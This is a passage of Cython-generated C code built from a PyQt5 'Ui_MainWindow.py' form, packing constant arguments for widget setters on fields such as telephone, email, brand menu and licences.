QtWidgets.QLabel(self.formLayoutWidget) */ __pyx_tuple__127 = PyTuple_Pack(1, __pyx_n_u_R_date); if (unlikely(!__pyx_tuple__127)) __PYX_ERR(0, 214, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__127); __Pyx_GIVEREF(__pyx_tuple__127); /* "Ui_MainWindow.py":217 * self.formLayout.setWidget(12, QtWidgets.QFormLayout.FieldRole, self.R_date) * self.label_15 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_15.setObjectName("label_15") # <<<<<<<<<<<<<< * self.formLayout.setWidget(14, QtWidgets.QFormLayout.LabelRole, self.label_15) * self.horizontalLayout_3 = QtWidgets.QHBoxLayout() */ __pyx_tuple__128 = PyTuple_Pack(1, __pyx_n_u_label_15); if (unlikely(!__pyx_tuple__128)) __PYX_ERR(0, 217, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__128); __Pyx_GIVEREF(__pyx_tuple__128); /* "Ui_MainWindow.py":220 * self.formLayout.setWidget(14, QtWidgets.QFormLayout.LabelRole, self.label_15) * self.horizontalLayout_3 = QtWidgets.QHBoxLayout() * self.horizontalLayout_3.setContentsMargins(6, -1, 6, -1) # <<<<<<<<<<<<<< * self.horizontalLayout_3.setSpacing(6) * self.horizontalLayout_3.setObjectName("horizontalLayout_3") */ __pyx_tuple__129 = PyTuple_Pack(4, __pyx_int_6, __pyx_int_neg_1, __pyx_int_6, __pyx_int_neg_1); if (unlikely(!__pyx_tuple__129)) __PYX_ERR(0, 220, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__129); __Pyx_GIVEREF(__pyx_tuple__129); /* "Ui_MainWindow.py":221 * self.horizontalLayout_3 = QtWidgets.QHBoxLayout() * self.horizontalLayout_3.setContentsMargins(6, -1, 6, -1) * self.horizontalLayout_3.setSpacing(6) # <<<<<<<<<<<<<< * self.horizontalLayout_3.setObjectName("horizontalLayout_3") * self.label_16 = QtWidgets.QLabel(self.formLayoutWidget) */ __pyx_tuple__130 = PyTuple_Pack(1, __pyx_int_6); if (unlikely(!__pyx_tuple__130)) __PYX_ERR(0, 221, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__130); __Pyx_GIVEREF(__pyx_tuple__130); /* "Ui_MainWindow.py":222 * self.horizontalLayout_3.setContentsMargins(6, -1, 6, -1) * self.horizontalLayout_3.setSpacing(6) * self.horizontalLayout_3.setObjectName("horizontalLayout_3") # <<<<<<<<<<<<<< * self.label_16 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_16.setObjectName("label_16") */ __pyx_tuple__131 = PyTuple_Pack(1, __pyx_n_u_horizontalLayout_3); if (unlikely(!__pyx_tuple__131)) __PYX_ERR(0, 222, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__131); __Pyx_GIVEREF(__pyx_tuple__131); /* "Ui_MainWindow.py":224 * self.horizontalLayout_3.setObjectName("horizontalLayout_3") * self.label_16 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_16.setObjectName("label_16") # <<<<<<<<<<<<<< * self.horizontalLayout_3.addWidget(self.label_16) * self.R_telephone = QtWidgets.QLineEdit(self.formLayoutWidget) */ __pyx_tuple__132 = PyTuple_Pack(1, __pyx_n_u_label_16); if (unlikely(!__pyx_tuple__132)) __PYX_ERR(0, 224, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__132); __Pyx_GIVEREF(__pyx_tuple__132); /* "Ui_MainWindow.py":228 * self.R_telephone = QtWidgets.QLineEdit(self.formLayoutWidget) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed) * sizePolicy.setHorizontalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.R_telephone.sizePolicy().hasHeightForWidth()) */ __pyx_tuple__133 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__133)) __PYX_ERR(0, 228, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__133); __Pyx_GIVEREF(__pyx_tuple__133); /* "Ui_MainWindow.py":229 * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed) * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setHeightForWidth(self.R_telephone.sizePolicy().hasHeightForWidth()) * self.R_telephone.setSizePolicy(sizePolicy) */ __pyx_tuple__134 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__134)) __PYX_ERR(0, 229, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__134); __Pyx_GIVEREF(__pyx_tuple__134); /* "Ui_MainWindow.py":232 * sizePolicy.setHeightForWidth(self.R_telephone.sizePolicy().hasHeightForWidth()) * self.R_telephone.setSizePolicy(sizePolicy) * self.R_telephone.setMouseTracking(True) # <<<<<<<<<<<<<< * self.R_telephone.setToolTip("") * self.R_telephone.setStatusTip("") */ __pyx_tuple__135 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__135)) __PYX_ERR(0, 232, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__135); __Pyx_GIVEREF(__pyx_tuple__135); /* "Ui_MainWindow.py":233 * self.R_telephone.setSizePolicy(sizePolicy) * self.R_telephone.setMouseTracking(True) * self.R_telephone.setToolTip("") # <<<<<<<<<<<<<< * self.R_telephone.setStatusTip("") * self.R_telephone.setAccessibleName("") */ __pyx_tuple__136 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__136)) __PYX_ERR(0, 233, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__136); __Pyx_GIVEREF(__pyx_tuple__136); /* "Ui_MainWindow.py":234 * self.R_telephone.setMouseTracking(True) * self.R_telephone.setToolTip("") * self.R_telephone.setStatusTip("") # <<<<<<<<<<<<<< * self.R_telephone.setAccessibleName("") * self.R_telephone.setAccessibleDescription("") */ __pyx_tuple__137 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__137)) __PYX_ERR(0, 234, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__137); __Pyx_GIVEREF(__pyx_tuple__137); /* "Ui_MainWindow.py":235 * self.R_telephone.setToolTip("") * self.R_telephone.setStatusTip("") * self.R_telephone.setAccessibleName("") # <<<<<<<<<<<<<< * self.R_telephone.setAccessibleDescription("") * self.R_telephone.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhFormattedNumbersOnly) */ __pyx_tuple__138 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__138)) __PYX_ERR(0, 235, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__138); __Pyx_GIVEREF(__pyx_tuple__138); /* "Ui_MainWindow.py":236 * self.R_telephone.setStatusTip("") * self.R_telephone.setAccessibleName("") * self.R_telephone.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.R_telephone.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhFormattedNumbersOnly) * self.R_telephone.setText("+// ") */ __pyx_tuple__139 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__139)) __PYX_ERR(0, 236, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__139); __Pyx_GIVEREF(__pyx_tuple__139); /* "Ui_MainWindow.py":238 * self.R_telephone.setAccessibleDescription("") * self.R_telephone.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhFormattedNumbersOnly) * self.R_telephone.setText("+// ") # <<<<<<<<<<<<<< * self.R_telephone.setPlaceholderText("") * self.R_telephone.setObjectName("R_telephone") */ __pyx_tuple__141 = PyTuple_Pack(1, __pyx_kp_u__140); if (unlikely(!__pyx_tuple__141)) __PYX_ERR(0, 238, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__141); __Pyx_GIVEREF(__pyx_tuple__141); /* "Ui_MainWindow.py":239 * self.R_telephone.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhFormattedNumbersOnly) * self.R_telephone.setText("+// ") * self.R_telephone.setPlaceholderText("") # <<<<<<<<<<<<<< * self.R_telephone.setObjectName("R_telephone") * self.horizontalLayout_3.addWidget(self.R_telephone) */ __pyx_tuple__142 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__142)) __PYX_ERR(0, 239, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__142); __Pyx_GIVEREF(__pyx_tuple__142); /* "Ui_MainWindow.py":240 * self.R_telephone.setText("+// ") * self.R_telephone.setPlaceholderText("") * self.R_telephone.setObjectName("R_telephone") # <<<<<<<<<<<<<< * self.horizontalLayout_3.addWidget(self.R_telephone) * self.label_17 = QtWidgets.QLabel(self.formLayoutWidget) */ __pyx_tuple__143 = PyTuple_Pack(1, __pyx_n_u_R_telephone); if (unlikely(!__pyx_tuple__143)) __PYX_ERR(0, 240, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__143); __Pyx_GIVEREF(__pyx_tuple__143); /* "Ui_MainWindow.py":243 * self.horizontalLayout_3.addWidget(self.R_telephone) * self.label_17 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_17.setObjectName("label_17") # <<<<<<<<<<<<<< * self.horizontalLayout_3.addWidget(self.label_17) * self.R_Urgence = QtWidgets.QLineEdit(self.formLayoutWidget) */ __pyx_tuple__144 = PyTuple_Pack(1, __pyx_n_u_label_17); if (unlikely(!__pyx_tuple__144)) __PYX_ERR(0, 243, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__144); __Pyx_GIVEREF(__pyx_tuple__144); /* "Ui_MainWindow.py":247 * self.R_Urgence = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_Urgence.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhFormattedNumbersOnly) * self.R_Urgence.setInputMask("+##/####/### ####") # <<<<<<<<<<<<<< * self.R_Urgence.setText("+// ") * self.R_Urgence.setObjectName("R_Urgence") */ __pyx_tuple__146 = PyTuple_Pack(1, __pyx_kp_u__145); if (unlikely(!__pyx_tuple__146)) __PYX_ERR(0, 247, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__146); __Pyx_GIVEREF(__pyx_tuple__146); /* "Ui_MainWindow.py":248 * self.R_Urgence.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhFormattedNumbersOnly) * self.R_Urgence.setInputMask("+##/####/### ####") * self.R_Urgence.setText("+// ") # <<<<<<<<<<<<<< * self.R_Urgence.setObjectName("R_Urgence") * self.horizontalLayout_3.addWidget(self.R_Urgence) */ __pyx_tuple__147 = PyTuple_Pack(1, __pyx_kp_u__140); if (unlikely(!__pyx_tuple__147)) __PYX_ERR(0, 248, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__147); __Pyx_GIVEREF(__pyx_tuple__147); /* "Ui_MainWindow.py":249 * self.R_Urgence.setInputMask("+##/####/### ####") * self.R_Urgence.setText("+// ") * self.R_Urgence.setObjectName("R_Urgence") # <<<<<<<<<<<<<< * self.horizontalLayout_3.addWidget(self.R_Urgence) * self.formLayout.setLayout(14, QtWidgets.QFormLayout.FieldRole, self.horizontalLayout_3) */ __pyx_tuple__148 = PyTuple_Pack(1, __pyx_n_u_R_Urgence); if (unlikely(!__pyx_tuple__148)) __PYX_ERR(0, 249, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__148); __Pyx_GIVEREF(__pyx_tuple__148); /* "Ui_MainWindow.py":253 * self.formLayout.setLayout(14, QtWidgets.QFormLayout.FieldRole, self.horizontalLayout_3) * self.label_3 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_3.setObjectName("label_3") # <<<<<<<<<<<<<< * self.formLayout.setWidget(16, QtWidgets.QFormLayout.LabelRole, self.label_3) * self.R_EMail = QtWidgets.QLineEdit(self.formLayoutWidget) */ __pyx_tuple__149 = PyTuple_Pack(1, __pyx_n_u_label_3); if (unlikely(!__pyx_tuple__149)) __PYX_ERR(0, 253, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__149); __Pyx_GIVEREF(__pyx_tuple__149); /* "Ui_MainWindow.py":256 * self.formLayout.setWidget(16, QtWidgets.QFormLayout.LabelRole, self.label_3) * self.R_EMail = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_EMail.setMinimumSize(QtCore.QSize(420, 0)) # <<<<<<<<<<<<<< * self.R_EMail.setToolTip("") * self.R_EMail.setStatusTip("") */ __pyx_tuple__150 = PyTuple_Pack(2, __pyx_int_420, __pyx_int_0); if (unlikely(!__pyx_tuple__150)) __PYX_ERR(0, 256, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__150); __Pyx_GIVEREF(__pyx_tuple__150); /* "Ui_MainWindow.py":257 * self.R_EMail = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_EMail.setMinimumSize(QtCore.QSize(420, 0)) * self.R_EMail.setToolTip("") # <<<<<<<<<<<<<< * self.R_EMail.setStatusTip("") * self.R_EMail.setAccessibleName("") */ __pyx_tuple__151 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__151)) __PYX_ERR(0, 257, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__151); __Pyx_GIVEREF(__pyx_tuple__151); /* "Ui_MainWindow.py":258 * self.R_EMail.setMinimumSize(QtCore.QSize(420, 0)) * self.R_EMail.setToolTip("") * self.R_EMail.setStatusTip("") # <<<<<<<<<<<<<< * self.R_EMail.setAccessibleName("") * self.R_EMail.setAccessibleDescription("") */ __pyx_tuple__152 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__152)) __PYX_ERR(0, 258, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__152); __Pyx_GIVEREF(__pyx_tuple__152); /* "Ui_MainWindow.py":259 * self.R_EMail.setToolTip("") * self.R_EMail.setStatusTip("") * self.R_EMail.setAccessibleName("") # <<<<<<<<<<<<<< * self.R_EMail.setAccessibleDescription("") * self.R_EMail.setInputMethodHints(QtCore.Qt.ImhEmailCharactersOnly) */ __pyx_tuple__153 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__153)) __PYX_ERR(0, 259, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__153); __Pyx_GIVEREF(__pyx_tuple__153); /* "Ui_MainWindow.py":260 * self.R_EMail.setStatusTip("") * self.R_EMail.setAccessibleName("") * self.R_EMail.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.R_EMail.setInputMethodHints(QtCore.Qt.ImhEmailCharactersOnly) * self.R_EMail.setInputMask("") */ __pyx_tuple__154 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__154)) __PYX_ERR(0, 260, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__154); __Pyx_GIVEREF(__pyx_tuple__154); /* "Ui_MainWindow.py":262 * self.R_EMail.setAccessibleDescription("") * self.R_EMail.setInputMethodHints(QtCore.Qt.ImhEmailCharactersOnly) * self.R_EMail.setInputMask("") # <<<<<<<<<<<<<< * self.R_EMail.setText("") * self.R_EMail.setPlaceholderText("") */ __pyx_tuple__155 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__155)) __PYX_ERR(0, 262, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__155); __Pyx_GIVEREF(__pyx_tuple__155); /* "Ui_MainWindow.py":263 * self.R_EMail.setInputMethodHints(QtCore.Qt.ImhEmailCharactersOnly) * self.R_EMail.setInputMask("") * self.R_EMail.setText("") # <<<<<<<<<<<<<< * self.R_EMail.setPlaceholderText("") * self.R_EMail.setObjectName("R_EMail") */ __pyx_tuple__156 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__156)) __PYX_ERR(0, 263, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__156); __Pyx_GIVEREF(__pyx_tuple__156); /* "Ui_MainWindow.py":264 * self.R_EMail.setInputMask("") * self.R_EMail.setText("") * self.R_EMail.setPlaceholderText("") # <<<<<<<<<<<<<< * self.R_EMail.setObjectName("R_EMail") * self.formLayout.setWidget(16, QtWidgets.QFormLayout.FieldRole, self.R_EMail) */ __pyx_tuple__157 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__157)) __PYX_ERR(0, 264, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__157); __Pyx_GIVEREF(__pyx_tuple__157); /* "Ui_MainWindow.py":265 * self.R_EMail.setText("") * self.R_EMail.setPlaceholderText("") * self.R_EMail.setObjectName("R_EMail") # <<<<<<<<<<<<<< * self.formLayout.setWidget(16, QtWidgets.QFormLayout.FieldRole, self.R_EMail) * self.label_11 = QtWidgets.QLabel(self.formLayoutWidget) */ __pyx_tuple__158 = PyTuple_Pack(1, __pyx_n_u_R_EMail); if (unlikely(!__pyx_tuple__158)) __PYX_ERR(0, 265, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__158); __Pyx_GIVEREF(__pyx_tuple__158); /* "Ui_MainWindow.py":268 * self.formLayout.setWidget(16, QtWidgets.QFormLayout.FieldRole, self.R_EMail) * self.label_11 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_11.setObjectName("label_11") # <<<<<<<<<<<<<< * self.formLayout.setWidget(19, QtWidgets.QFormLayout.LabelRole, self.label_11) * self.R_brandMenu = QtWidgets.QComboBox(self.formLayoutWidget) */ __pyx_tuple__159 = PyTuple_Pack(1, __pyx_n_u_label_11); if (unlikely(!__pyx_tuple__159)) __PYX_ERR(0, 268, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__159); __Pyx_GIVEREF(__pyx_tuple__159); /* "Ui_MainWindow.py":271 * self.formLayout.setWidget(19, QtWidgets.QFormLayout.LabelRole, self.label_11) * self.R_brandMenu = QtWidgets.QComboBox(self.formLayoutWidget) * self.R_brandMenu.setToolTip("") # <<<<<<<<<<<<<< * self.R_brandMenu.setStatusTip("") * self.R_brandMenu.setAccessibleName("") */ __pyx_tuple__160 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__160)) __PYX_ERR(0, 271, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__160); __Pyx_GIVEREF(__pyx_tuple__160); /* "Ui_MainWindow.py":272 * self.R_brandMenu = QtWidgets.QComboBox(self.formLayoutWidget) * self.R_brandMenu.setToolTip("") * self.R_brandMenu.setStatusTip("") # <<<<<<<<<<<<<< * self.R_brandMenu.setAccessibleName("") * self.R_brandMenu.setAccessibleDescription("") */ __pyx_tuple__161 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__161)) __PYX_ERR(0, 272, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__161); __Pyx_GIVEREF(__pyx_tuple__161); /* "Ui_MainWindow.py":273 * self.R_brandMenu.setToolTip("") * self.R_brandMenu.setStatusTip("") * self.R_brandMenu.setAccessibleName("") # <<<<<<<<<<<<<< * self.R_brandMenu.setAccessibleDescription("") * self.R_brandMenu.setEditable(False) */ __pyx_tuple__162 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__162)) __PYX_ERR(0, 273, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__162); __Pyx_GIVEREF(__pyx_tuple__162); /* "Ui_MainWindow.py":274 * self.R_brandMenu.setStatusTip("") * self.R_brandMenu.setAccessibleName("") * self.R_brandMenu.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.R_brandMenu.setEditable(False) * self.R_brandMenu.setCurrentText("") */ __pyx_tuple__163 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__163)) __PYX_ERR(0, 274, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__163); __Pyx_GIVEREF(__pyx_tuple__163); /* "Ui_MainWindow.py":275 * self.R_brandMenu.setAccessibleName("") * self.R_brandMenu.setAccessibleDescription("") * self.R_brandMenu.setEditable(False) # <<<<<<<<<<<<<< * self.R_brandMenu.setCurrentText("") * self.R_brandMenu.setObjectName("R_brandMenu") */ __pyx_tuple__164 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__164)) __PYX_ERR(0, 275, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__164); __Pyx_GIVEREF(__pyx_tuple__164); /* "Ui_MainWindow.py":276 * self.R_brandMenu.setAccessibleDescription("") * self.R_brandMenu.setEditable(False) * self.R_brandMenu.setCurrentText("") # <<<<<<<<<<<<<< * self.R_brandMenu.setObjectName("R_brandMenu") * self.formLayout.setWidget(19, QtWidgets.QFormLayout.FieldRole, self.R_brandMenu) */ __pyx_tuple__165 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__165)) __PYX_ERR(0, 276, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__165); __Pyx_GIVEREF(__pyx_tuple__165); /* "Ui_MainWindow.py":277 * self.R_brandMenu.setEditable(False) * self.R_brandMenu.setCurrentText("") * self.R_brandMenu.setObjectName("R_brandMenu") # <<<<<<<<<<<<<< * self.formLayout.setWidget(19, QtWidgets.QFormLayout.FieldRole, self.R_brandMenu) * self.label_8 = QtWidgets.QLabel(self.formLayoutWidget) */ __pyx_tuple__166 = PyTuple_Pack(1, __pyx_n_u_R_brandMenu); if (unlikely(!__pyx_tuple__166)) __PYX_ERR(0, 277, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__166); __Pyx_GIVEREF(__pyx_tuple__166); /* "Ui_MainWindow.py":280 * self.formLayout.setWidget(19, QtWidgets.QFormLayout.FieldRole, self.R_brandMenu) * self.label_8 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_8.setObjectName("label_8") # <<<<<<<<<<<<<< * self.formLayout.setWidget(22, QtWidgets.QFormLayout.LabelRole, self.label_8) * self.R_number = QtWidgets.QLineEdit(self.formLayoutWidget) */ __pyx_tuple__167 = PyTuple_Pack(1, __pyx_n_u_label_8); if (unlikely(!__pyx_tuple__167)) __PYX_ERR(0, 280, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__167); __Pyx_GIVEREF(__pyx_tuple__167); /* "Ui_MainWindow.py":283 * self.formLayout.setWidget(22, QtWidgets.QFormLayout.LabelRole, self.label_8) * self.R_number = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_number.setToolTip("") # <<<<<<<<<<<<<< * self.R_number.setStatusTip("") * self.R_number.setAccessibleName("") */ __pyx_tuple__168 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__168)) __PYX_ERR(0, 283, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__168); __Pyx_GIVEREF(__pyx_tuple__168); /* "Ui_MainWindow.py":284 * self.R_number = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_number.setToolTip("") * self.R_number.setStatusTip("") # <<<<<<<<<<<<<< * self.R_number.setAccessibleName("") * self.R_number.setAccessibleDescription("") */ __pyx_tuple__169 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__169)) __PYX_ERR(0, 284, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__169); __Pyx_GIVEREF(__pyx_tuple__169); /* "Ui_MainWindow.py":285 * self.R_number.setToolTip("") * self.R_number.setStatusTip("") * self.R_number.setAccessibleName("") # <<<<<<<<<<<<<< * self.R_number.setAccessibleDescription("") * self.R_number.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly) */ __pyx_tuple__170 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__170)) __PYX_ERR(0, 285, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__170); __Pyx_GIVEREF(__pyx_tuple__170); /* "Ui_MainWindow.py":286 * self.R_number.setStatusTip("") * self.R_number.setAccessibleName("") * self.R_number.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.R_number.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly) * self.R_number.setText("") */ __pyx_tuple__171 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__171)) __PYX_ERR(0, 286, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__171); __Pyx_GIVEREF(__pyx_tuple__171); /* "Ui_MainWindow.py":288 * self.R_number.setAccessibleDescription("") * self.R_number.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly) * self.R_number.setText("") # <<<<<<<<<<<<<< * self.R_number.setMaxLength(5) * self.R_number.setObjectName("R_number") */ __pyx_tuple__172 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__172)) __PYX_ERR(0, 288, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__172); __Pyx_GIVEREF(__pyx_tuple__172); /* "Ui_MainWindow.py":289 * self.R_number.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly) * self.R_number.setText("") * self.R_number.setMaxLength(5) # <<<<<<<<<<<<<< * self.R_number.setObjectName("R_number") * self.formLayout.setWidget(22, QtWidgets.QFormLayout.FieldRole, self.R_number) */ __pyx_tuple__173 = PyTuple_Pack(1, __pyx_int_5); if (unlikely(!__pyx_tuple__173)) __PYX_ERR(0, 289, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__173); __Pyx_GIVEREF(__pyx_tuple__173); /* "Ui_MainWindow.py":290 * self.R_number.setText("") * self.R_number.setMaxLength(5) * self.R_number.setObjectName("R_number") # <<<<<<<<<<<<<< * self.formLayout.setWidget(22, QtWidgets.QFormLayout.FieldRole, self.R_number) * self.label_4 = QtWidgets.QLabel(self.formLayoutWidget) */ __pyx_tuple__174 = PyTuple_Pack(1, __pyx_n_u_R_number); if (unlikely(!__pyx_tuple__174)) __PYX_ERR(0, 290, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__174); __Pyx_GIVEREF(__pyx_tuple__174); /* "Ui_MainWindow.py":293 * self.formLayout.setWidget(22, QtWidgets.QFormLayout.FieldRole, self.R_number) * self.label_4 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_4.setObjectName("label_4") # <<<<<<<<<<<<<< * self.formLayout.setWidget(23, QtWidgets.QFormLayout.LabelRole, self.label_4) * self.R_licences = QtWidgets.QLineEdit(self.formLayoutWidget) */ __pyx_tuple__175 = PyTuple_Pack(1, __pyx_n_u_label_4); if (unlikely(!__pyx_tuple__175)) __PYX_ERR(0, 293, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__175); __Pyx_GIVEREF(__pyx_tuple__175); /* "Ui_MainWindow.py":297 * self.R_licences = QtWidgets.QLineEdit(self.formLayoutWidget) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) * sizePolicy.setHorizontalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.R_licences.sizePolicy().hasHeightForWidth()) */ __pyx_tuple__176 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__176)) __PYX_ERR(0, 297, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__176); __Pyx_GIVEREF(__pyx_tuple__176); /* "Ui_MainWindow.py":298 * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setHeightForWidth(self.R_licences.sizePolicy().hasHeightForWidth()) * self.R_licences.setSizePolicy(sizePolicy) */ __pyx_tuple__177 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__177)) __PYX_ERR(0, 298, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__177); __Pyx_GIVEREF(__pyx_tuple__177); /* "Ui_MainWindow.py":301 * sizePolicy.setHeightForWidth(self.R_licences.sizePolicy().hasHeightForWidth()) * self.R_licences.setSizePolicy(sizePolicy) * self.R_licences.setMinimumSize(QtCore.QSize(420, 0)) # <<<<<<<<<<<<<< * self.R_licences.setToolTip("") * self.R_licences.setStatusTip("") */ __pyx_tuple__178 = PyTuple_Pack(2, __pyx_int_420, __pyx_int_0); if (unlikely(!__pyx_tuple__178)) __PYX_ERR(0, 301, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__178); __Pyx_GIVEREF(__pyx_tuple__178); /* "Ui_MainWindow.py":302 * self.R_licences.setSizePolicy(sizePolicy) * self.R_licences.setMinimumSize(QtCore.QSize(420, 0)) * self.R_licences.setToolTip("") # <<<<<<<<<<<<<< * self.R_licences.setStatusTip("") * self.R_licences.setAccessibleName("") */ __pyx_tuple__179 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__179)) __PYX_ERR(0, 302, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__179); __Pyx_GIVEREF(__pyx_tuple__179); /* "Ui_MainWindow.py":303 * self.R_licences.setMinimumSize(QtCore.QSize(420, 0)) * self.R_licences.setToolTip("") * self.R_licences.setStatusTip("") # <<<<<<<<<<<<<< * self.R_licences.setAccessibleName("") * self.R_licences.setAccessibleDescription("") */ __pyx_tuple__180 = PyTuple_Pack(1, __pyx_kp_u__9); if 